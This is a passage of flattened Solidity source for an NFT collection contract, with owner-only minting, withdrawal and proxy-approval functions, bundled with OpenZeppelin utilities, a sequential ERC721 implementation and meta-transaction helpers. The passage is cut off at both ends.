!saleLive; } // Withdraw funds for team expenses and payment function withdraw() external onlyOwner { (bool success, ) = _vault.call{value: address(this).balance}(""); require(success, "Failed to send to vault."); } // Approves OpenSea - bypassing approval fee payment function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(_proxy); if (address(proxyRegistry.proxies(_owner)) == operator || projectProxy[operator]) return true; return super.isApprovedForAll(_owner, operator); } // ** - SETTERS - ** // // Set the vault address for payments function setVaultAddress(address addr) external onlyOwner { _vault = addr; } // Set the proxy address for payments function setProxyAddress(address addr) external onlyOwner { _proxy = addr; } // For future proxy approval management function flipProxyState(address proxyAddress) public onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } // Set the contract URL for OpenSea Metadata function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } // Set image path for metadata function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } // Set file extension for metadata function setTokenExtension(string calldata extension) external onlyOwner { _tokenExtension = extension; } function gift(address[] calldata _recipients) external onlyOwner { uint256 recipients = _recipients.length; require( recipients + _owners.length <= CBC_MAX, "Exceeds Supply" ); for (uint256 i = 0; i < recipients; i++) { _safeMint(_recipients[i]); } } // Future game usage or user choice function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not approved to burn."); _burn(tokenId); lostCats++; } // ** - READ - ** // function contractURI() public view returns (string memory) { return _contractURI; } function tokenExtension() public view returns (string memory) { return _tokenExtension; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); return string(abi.encodePacked(_tokenBaseURI, tokenId.toString(), _tokenExtension)); } function presalePurchasedCount(address addr) external view returns (uint256) { return presalerListPurchases[addr]; } function matchAddressSigner(bytes32 hash, bytes memory signature) private view returns(bool) { return _signer == hash.recover(signature); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "./ERC721Sequencial.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This is a no storage implemntation of the optional extension {ERC721} * defined in the EIP that adds enumerability of all the token ids in the * contract as well as all token ids owned by each account. These functions * are mainly for convienence and should NEVER be called from inside a * contract on the chain. */ abstract contract ERC721SeqEnumerable is ERC721Sequencial, IERC721Enumerable { address constant zero = address(0); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721Sequencial) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { uint256 length = _owners.length; unchecked { for (; tokenId < length; ++tokenId) { if (_owners[tokenId] == owner) { if (index-- == 0) { break; } } } } require( tokenId < length, "ERC721Enumerable: owner index out of bounds" ); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256 supply) { unchecked { uint256 length = _owners.length; for (uint256 tokenId = 0; tokenId < length; ++tokenId) { if (_owners[tokenId] != zero) { ++supply; } } } } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256 tokenId) { uint256 length = _owners.length; unchecked { for (; tokenId < length; ++tokenId) { if (_owners[tokenId] != zero) { if (index-- == 0) { break; } } } } require( tokenId < length, "ERC721Enumerable: global index out of bounds" ); } /** * @dev Get all tokens owned by owner. */ function ownerTokens(address owner) public view returns (uint256[] memory) { uint256 tokenCount = ERC721Sequencial.balanceOf(owner); require(tokenCount != 0, "ERC721Enumerable: owner owns no tokens"); uint256 length = _owners.length; uint256[] memory tokenIds = new uint256[](tokenCount); unchecked { uint256 i = 0; for (uint256 tokenId = 0; tokenId < length; ++tokenId) { if (_owners[tokenId] == owner) { tokenIds[i++] = tokenId; } } } return tokenIds; } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {EIP712Base} from "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721 * [ERC721] Non-Fungible Token Standard * * This implmentation of ERC721 assumes sequencial token creation to provide * efficient minting. Storage for balance are no longer required reducing * gas significantly. This comes at the price of calculating the balance by * iterating through the entire array. The balanceOf function should NOT * be used inside a contract. Gas usage will explode as the size of tokens * increase. A convineiance function is provided which returns the entire * list of owners whose index maps tokenIds to thier owners. Zero addresses * indicate burned tokens. * */ contract ERC721Sequencial is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address address[] _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256 balance) { require(owner != address(0), "ERC721: balance query for the zero address"); unchecked { uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (_owners[i] == owner) { ++balance; } } } } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: owner query for nonexistent token"); address owner = _owners[tokenId]; return owner; } /** * @dev Returns entire list of owner enumerated by thier tokenIds. Burned tokens * will have a zero address. */ function owners() public view returns (address[] memory) { address[] memory owners_ = _owners; return owners_; } /** * @dev Return largest tokenId minted. */ function maxTokenId() public view returns (uint256) { return _owners.length > 0 ? _owners.length - 1 : 0; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Sequencial.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Sequencial.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to) internal virtual returns (uint256 tokenId) { tokenId = _safeMint(to, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, bytes memory _data ) internal virtual returns (uint256 tokenId) { tokenId = _mint(to); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to) internal virtual returns (uint256 tokenId) { require(to != address(0), "ERC721: mint to the zero address"); tokenId = _owners.length; _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Sequencial.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Sequencial.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Sequencial.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { 